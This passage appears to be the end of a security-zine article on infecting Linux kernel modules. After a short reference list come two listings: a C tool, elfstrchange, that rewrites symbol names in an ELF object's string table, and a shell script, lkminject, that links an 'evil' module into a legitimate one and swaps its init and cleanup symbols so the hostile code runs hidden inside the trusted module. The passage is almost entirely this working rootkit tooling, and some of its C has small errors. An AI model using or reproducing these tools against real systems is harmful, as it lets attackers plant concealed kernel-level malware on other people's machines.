- [6] Modutils for 2.4.x kernels
<ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.4>
- [7] Tripwire
<http://www.tripwire.org>
- [8] Solaris Loadable Kernel Modules by Plasmoid

<http://www.thc.org/papers/slkm-1.0.html>

--[9 - Code

----[9.1 - ElfStrChange

```
/*
 * elfstrchange.c by truff <truff@projet7.org>
 * Change the value of a symbol name in the .strtab section
 *
 * Usage: elfstrchange elf_object sym_name sym_name_replaced
 */

#include <stdlib.h>
#include <stdio.h>
#include <elf.h>

#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }

int ElfGetSectionName (FILE *fd, Elf32_word sh_name,
                      Elf32_Shdr *shstrtable, char *res, size_t len);

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
                              Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);

Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_word sym_name,
                            Elf32_Shdr *shstrtable, char *res, size_t len);

int main (int argc, char **argv)
{
    int i;
    int len = 0;
    char *string;
    FILE *fd;
    Elf32_Ehdr hdr;
    Elf32_Shdr symtab, strtab;
    Elf32_Sym sym;
    Elf32_Off symoffset;

    fd = fopen (argv[1], "r+");
    if (fd == NULL)
        FATAL ("fopen");

    if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
        FATAL ("Elf header corrupted");

    if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
    {
        fprintf (stderr, "Can't get .symtab section\n");
        exit (EXIT_FAILURE);
    }

    if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
    {
        fprintf (stderr, "Can't get .strtab section\n");
        exit (EXIT_FAILURE);
    }

    symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
    if (symoffset == -1)
    {
```

```

    fprintf (stderr, "Symbol %s not found\n", argv[2]);
    exit (EXIT_FAILURE);
}

printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);
if (fseek (fd, symoffset, SEEK_SET) == -1)
    FATAL ("fseek");

if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
    FATAL ("fwrite");

printf ("[+] .strtab entry overwritten with %s\n", argv[3]);
fclose (fd);

return EXIT_SUCCESS;
}

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
                             Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
{
    int i;
    char symname[255];
    Elf32_Off offset;

    for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
    {
        if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
                  SEEK_SET) == -1)
            FATAL ("fseek");

        if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
            FATAL ("Symtab corrupted");

        memset (symname, 0, sizeof (symname));
        offset = ElfGetSymbolName (fd, sym->st_name,
                                  strtab, symname, sizeof (symname));
        if (!strcmp (symname, name))
            return offset;
    }

    return -1;
}

int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
                          Elf32_Shdr *shdr)
{
    if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
              SEEK_SET) == -1)
        FATAL ("fseek");

    if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
        FATAL ("Sections header corrupted");

    return 0;
}

int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
                         Elf32_Shdr *shdr)
{
    int i;
    char name[255];
    Elf32_Shdr shstrtable;

```

```

/*
 * Get the section header string table
 */
ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);

memset (name, 0, sizeof (name));

for (i=0; i<ehdr->e_shnum; i++)
{
    if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
              SEEK_SET) == -1)
        FATAL ("fseek");

    if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
        FATAL ("Sections header corrupted");

    ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
                      name, sizeof (name));
    if (!strcmp (name, section))
    {
        return 0;
    }
}
return -1;
}

int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
                      Elf32_Shdr *shstrtable, char *res, size_t len)
{
    size_t i = 0;

    if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
        FATAL ("fseek");

    while ((i < len) || *res == '\\0')
    {
        *res = fgetc (fd);
        i++;
        res++;
    }

    return 0;
}

Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
                            Elf32_Shdr *strtable, char *res, size_t len)
{
    size_t i = 0;

    if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
        FATAL ("fseek");

    while ((i < len) || *res == '\\0')
    {
        *res = fgetc (fd);
        i++;
        res++;
    }

    return (strtable->sh_offset + sym_name);
}
/* EOF */

```

----] 9.2 Lkminject

```
#!/bin/sh
#
# lkminject by truff (truff@projet7.org)
#
# Injects a Linux lkm into another one.
#
# Usage:
# ./lkminfect.sh original_lkm.o evil_lkm.c
#
# Notes:
# You have to modify evil_lkm.c as explained bellow:
# In the init_module code, you have to insert this line, just after
# variables init:
# dumm_module ();
#
# In the cleanup_module code, you have to insert this line, just after
# variables init:
# dummcle_module ();
#
# http://www.projet7.org - Security Researchs -
#####

sed -e s/init_module/evil_module/ $2 > tmp
mv tmp $2

sed -e s/cleanup_module/evclean_module/ $2 > tmp
mv tmp $2

# Replace the following line with the compilation line for your evil lkm
# if needed.
make

ld -r $1 $(basename $2 .c).o -o evil.o

./elfstrchange evil.o init_module dumm_module
./elfstrchange evil.o evil_module init_module
./elfstrchange evil.o cleanup_module dummcle_module
./elfstrchange evil.o evclean_module cleanup_module

mv evil.o $1
rm elfstrchange

|= [ EOF ] =-----|
#####
```